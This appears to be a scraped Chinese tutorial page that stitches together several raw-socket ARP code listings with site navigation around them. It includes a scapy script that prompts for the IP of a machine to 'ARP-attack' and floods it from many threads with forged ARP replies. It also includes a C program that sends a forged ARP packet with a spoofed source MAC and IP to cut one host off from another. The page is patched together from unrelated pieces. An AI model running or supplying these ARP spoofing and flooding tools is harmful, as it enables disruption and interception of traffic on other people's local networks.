#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
enum{
ARP_MSG_SIZE = 0x2a
};
char* strncpy_IFNAMSIZ(char *dst, const char *src)
{
#ifndef IFNAMSIZ
enum { IFNAMSIZ = 16 };
#endif
return strncpy(dst, src, IFNAMSIZ);
}
struct arpMsg {
/* Ethernet header */
uint8_t h_dest[6]; /* 00 destination ether addr */
uint8_t h_source[6]; /* 06 source ether addr */
uint16_t h_proto; /* 0c packet type ID field */
/* ARP packet */
uint16_t htype; /* 0e hardware type (must be ARPHRD_ETHER) */
uint16_t ptype; /* 10 protocol type (must be ETH_P_IP) */
uint8_t hlen; /* 12 hardware address length (must be 6) */
uint8_t plen; /* 13 protocol address length (must be 4) */
uint16_t operation; /* 14 ARP opcode */
uint8_t sHaddr[6]; /* 16 sender's hardware address */
uint8_t sInaddr[4]; /* 1c sender's IP address */
uint8_t tHaddr[6]; /* 20 target's hardware address */
uint8_t tInaddr[4]; /* 26 target's IP address */
uint8_t pad[18]; /* 2a pad for min. ethernet payload (60 bytes) */
} PACKED;
const int const_int_1 = 1;
int setsockopt_broadcast(int fd)
{
return setsockopt(fd, SOL_SOCKET, SO_BROADCAST, &const_int_1, sizeof(const_int_1));
}
char* safe_strncpy(char *dst, const char *src, size_t size)
{
if (!size) return dst;
dst[--size] = '\0';
return strncpy(dst, src, size);
}
int arpping(uint32_t test_ip, uint32_t from_ip, uint8_t *from_mac, const char *interface)
{
int timeout_ms;
int s;
int rv = 1; /* "no reply received" yet */
struct sockaddr addr; /* for interface name */
struct arpMsg arp;
s = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
if (s == -1) {
perror("raw_socket");
return -1;
}
if (setsockopt_broadcast(s) == -1) {
perror("cannot enable bcast on raw socket");
goto ret;
}
/* send arp request */
memset(&arp, 0, sizeof(arp));
memset(arp.h_dest, 0xff, 6); /* MAC DA */
memcpy(arp.h_source, from_mac, 6); /* MAC SA */
arp.h_proto = htons(ETH_P_ARP); /* protocol type (Ethernet) */
arp.htype = htons(ARPHRD_ETHER); /* hardware type */
arp.ptype = htons(ETH_P_IP); /* protocol type (ARP message) */
arp.hlen = 6; /* hardware address length */
arp.plen = 4; /* protocol address length */
arp.operation = htons(ARPOP_REQUEST); /* ARP op code */
memcpy(arp.sHaddr, from_mac, 6); /* source hardware address */
memcpy(arp.sInaddr, &from_ip, sizeof(from_ip)); /* source IP address */
/* tHaddr is zero-fiiled */ /* target hardware address */
memcpy(arp.tInaddr, &test_ip, sizeof(test_ip)); /* target IP address */
memset(&addr, 0, sizeof(addr));
safe_strncpy(addr.sa_data, interface, sizeof(addr.sa_data));
if (sendto(s, &arp, sizeof(arp), 0, &addr, sizeof(addr)) < 0) {
// TODO: error message? caller didn't expect us to fail,
// just returning 1 "no reply received" misleads it.
}
close(s);
return rv;
}
int read_interface(const char *interface, int *ifindex, uint32_t *addr, uint8_t *arp)
{
int fd;
struct ifreq ifr;
struct sockaddr_in *our_ip;
memset(&ifr, 0, sizeof(ifr));
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
ifr.ifr_addr.sa_family = AF_INET;
strncpy_IFNAMSIZ(ifr.ifr_name, interface);
if (addr) {
if (ioctl(fd, SIOCGIFADDR, &ifr) != 0){
perror("ioctl");
close(fd);
return -1;
}
our_ip = (struct sockaddr_in *) &ifr.ifr_addr;
*addr = our_ip->sin_addr.s_addr;
printf("ip of %s = %s \n", interface, inet_ntoa(our_ip->sin_addr));
}
if (ifindex) {
if (ioctl(fd, SIOCGIFINDEX, &ifr) != 0) {
close(fd);
return -1;
}
printf("adapter index %d", ifr.ifr_ifindex);
*ifindex = ifr.ifr_ifindex;
}
if (arp) {
if (ioctl(fd, SIOCGIFHWADDR, &ifr) != 0) {
close(fd);
return -1;
}
memcpy(arp, ifr.ifr_hwaddr.sa_data, 6);
printf("adapter hardware address %02x:%02x:%02x:%02x:%02x:%02x\n",
arp[0], arp[1], arp[2], arp[3], arp[4], arp[5]);
}
close(fd);
return 0;
}
int main(void)
{
uint32_t TEST_IP = inet_addr("191.192.193.194");
char interface[]="eth0";
uint32_t ip;
uint8_t mac[6];
read_interface(interface, NULL, &ip, mac);
while(1){
arpping(TEST_IP, ip, mac, interface);
sleep(1);
}
return 0;
}

代码如下:
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
global BROADCASTMAC
arp = ARP()
arp.psrc = '192.168.0.251'
arp.hwsrc = BROADCASTMAC
arp.pdst = self.ip
arp.op = 2
sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.ip).start()
total = total + 1
print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
ip = raw_input('请输入要进行ARP攻击的机器IP:')
Main(ip = ip).start()
本条技术文章来源于互联网，如果无意侵犯您的权益请点击此处反馈版权投诉
本文系统来源：php中文网
TAG标签：arp欺骗

linux原始套接字，可以直接发送和接收链路层和网络层的报文，对我们理解TCP/IP协议栈有很多帮助。

也可写出很多有趣的程序。

下面的例子是向192.168.1.60的电脑，发送伪造的ARP报文，使其更新ARP表，导致无法PING通192.168.1.71。

使用命令arp -d 删除arp缓存即可恢复。

本示例仅供学习交流，请勿用于非法用途。

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};

    daddr.s_addr = inet_addr("192.168.1.60");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("192.168.1.71");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth1");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
    if (n < 0) {
        print_errno("sendto() failed!\n");
    }
    else {
        printf("sendto() n = %d \n", n);
    }
    close(skfd);
    return 0;
}

复制代码代码如下:
#!/usr/bin/env python
import socket
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("lo", 0))
src_addr = "\x50\x3d\xe5\x0e\x35\x3f"
dst_addr = "\xff\xff\xff\xff\xff\xff"
ethertype = "\x08\x06"
s.send(dst_addr+src_addr+ethertype+"\x00\x01"+"\x08\x00"+"\x06"+"\x04"+"\x00\x01"+src_addr+"\x7f\x00\x00\x01"+"\x00\x00\x00\x00\x00\x00"+"\x7f\x00\x00\x01")
QQ空间                          搜狐微博        人人网        开心网        百度搜藏更多
Tags：arp请求
复制链接收藏本文打印本文关闭本文返回首页
上一篇：python抓取京东价格分析京东商品价格走势
下一篇：windows下wxPython开发环境安装与配置方法
相关文章
2013-12-12python解析模块(ConfigParser)使用方法
2014-06-06Python中文件遍历的两种方法
2014-06-06用python登录Dr.com思路以及代码分享
2014-06-06wxpython 最小化到托盘与欢迎图片的实现方法
2008-09-09Python isinstance判断对象类型
2009-07-07python 域名分析工具实现代码
2014-04-04使用Python获取CPU、内存和硬盘等windowns系统信息的2个例子
2014-05-05从零学Python之入门(五)缩进和选择
2007-08-08在漏洞利用Python代码真的很爽
2009-09-09phpsir 开发 一个检测百度关键字网站排名的python 程序
文章评论
最 近 更 新
Python 元组(Tuple)操作详解
python BeautifulSoup使用方法详解
Python运行的17个时新手常见错误小结
python爬取网站数据保存使用的方法
python fabric实现远程操作和部署示例
Python struct模块解析
讲解python参数和作用域的使用
ssh批量登录并执行命令的python实现代码
python原始套接字编程示例分享
python调用cmd命令行制作刷博器
热 点 排 行
Python入门教程 超详细1小时学会
python 中文乱码问题深入分析
比较详细Python正则表达式操作指
Python字符串的encode与decode研
Python open读写文件实现脚本
Python enumerate遍历数组示例应
Python 深入理解yield
Python+Django在windows下的开发
python 文件和路径操作函数小结
python 字符串split的用法分享